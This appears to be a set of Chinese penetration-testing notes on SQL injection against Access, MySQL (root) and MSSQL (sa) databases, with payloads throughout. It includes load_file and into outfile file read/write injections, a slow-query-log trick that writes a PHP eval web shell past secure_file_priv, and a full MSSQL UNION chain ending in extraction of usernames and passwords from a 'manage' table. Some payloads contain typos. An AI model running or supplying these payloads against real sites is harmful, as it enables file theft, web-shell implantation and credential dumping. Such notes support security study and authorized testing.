Access
Access无高权限注入点-只能猜解,还是暴力猜解
如图低权限只能拆解,拆解两种方式,一种暴力拆解,另外一种是根据其所对应的数据库特性来获取所对的表名列名
其他
MYSQL,PostgreSQL,MSSQL高权限注入点-可升级读写执行等
MYSQL-root高权限读写注入
SQL注入常规流程
1.首先确定有注入点,通过 下列payload 判断是否存在注入
2.判断是什么数据库
-通过常见组合搭配
Access一般都是配合中间件IIS搭建在Windows上,脚本语言一般为asp
Mssql一般都是配合中间件IIS搭建在Windows上,脚本语言一般为aspx居多,部分asp
mysql数据库一般配合中间件Apache或Nginx,脚本语言PHP居多
PostgreSQL与mysql类似
如果不能还是不能判断,可以观看数据包,报错信息等
细节解说:
首先利用and或者or查询注入点,没有返回数据证明是注入点。
order by查询列数,列数为3
select查询显示位,显示位为1和2
利用user()查询是否为root用户,查询结果是root
-读取文件:
127.0.0.1/1.php?id=1 UNIONS ELECT1,load_file(‘d:/w.txt’),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
[此处便会显示出’d:/w.txt’该文件中的内容】
-写入文件:
127.0.0.1/1.php?id=1 UNION SELECT1,‘xxxx’,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 into outfile’d:/www.txt’
【电脑文件中便会产生一个www.txt,而在该文件之下,便会有其中你要的xxxx该数据】
使用load_file()函数读取文件内容。需填写绝对路径。
什么是绝对路径,什么是相对路径:绝对路径
分为盘符绝对路径和网址绝对路径
盘符绝对路径:顾名思义如图:
网址绝对路径:网址的路径,如下图
-路径获取:phpinfo,报错,字典等
-无法写入:secure_file_priv突破 注入中需要支持SQL执行环境,没有就需要借助phpmyadmin或能够直接连上对方数据库进行绕过
set global slow_query_log=1;
set global slow_query_log_file=‘shell路径’;
select '<?php eval($_GET[A])?>'orSLEEP(1);
MSSQL-sa高权限读写执行注入
-测列数:
order by 4
and1=2 union all select null,null,null,null
-测显位:
and 1=2 union all select null,1,null,null
and 1=2 union all select null,null,‘s’,null
-获取信息:
and 1=2 union all select null,null,@@version ,null 【@@version获取版本信息】
and 1=2 union all select null,db_name() ,@@version ,null 【db_name() 当前数据库名字】
user、system_user,current_user,user_name 获取当前用户名
@@SERVERNAME 获取服务器主机信息
and1=2 union all select null,db_name(),null,null
-获取表名:
and1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=‘u’),null,null
union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u’and name not in(‘manage’)),null,null
-获取列名:
and1=2 union all select null,(select top 1col_name(object_id(‘manage’),1) from sysobjects),null,null
and1=2 union all select null,(select top 1col_name(object_id(‘manage’),2) from sysobjects),null,null
and1=2 union all select null,(select top 1col_name(object_id(‘manage’),3) from sysobjects),null,null
and1=2 union all select null,(select top 1col_name(object_id(‘manage’),4) from sysobjects),null,null
-获取数据:
and1=2 union all select null,username, password ,null from manage
几乎和sql注入类似
相关补充:https://www.cnblogs.com/Xy–1/p/13235688.html